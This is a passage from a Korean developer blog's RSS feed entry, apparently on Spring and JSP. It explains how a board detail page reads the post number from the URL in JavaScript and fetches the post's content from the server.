페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 정리하자면 , 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #080808;&quot;&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;게시물 목록에서 원하는 글 클릭하면 board/detail/??이동 하지만 일단 detail.jsp 포워딩
 jsp 파일에는 js파일이 있으므로 js파일 실행
js에서 location.href.split(&quot;/&quot;).pop()을 통해서 ?? 값 가져와서 해당 값으로 fetch 함수를 통해
서버에 요청을 보내고 응답받은 ??번 게시물 객체를 통해 게시물 내용을 채움&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Spring</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/20</guid>
      <comments>https://dev-jong.tistory.com/20#entry20comment</comments>
      <pubDate>Thu, 19 Jun 2025 20:01:12 +0900</pubDate>
    </item>
  </channel>
</rss>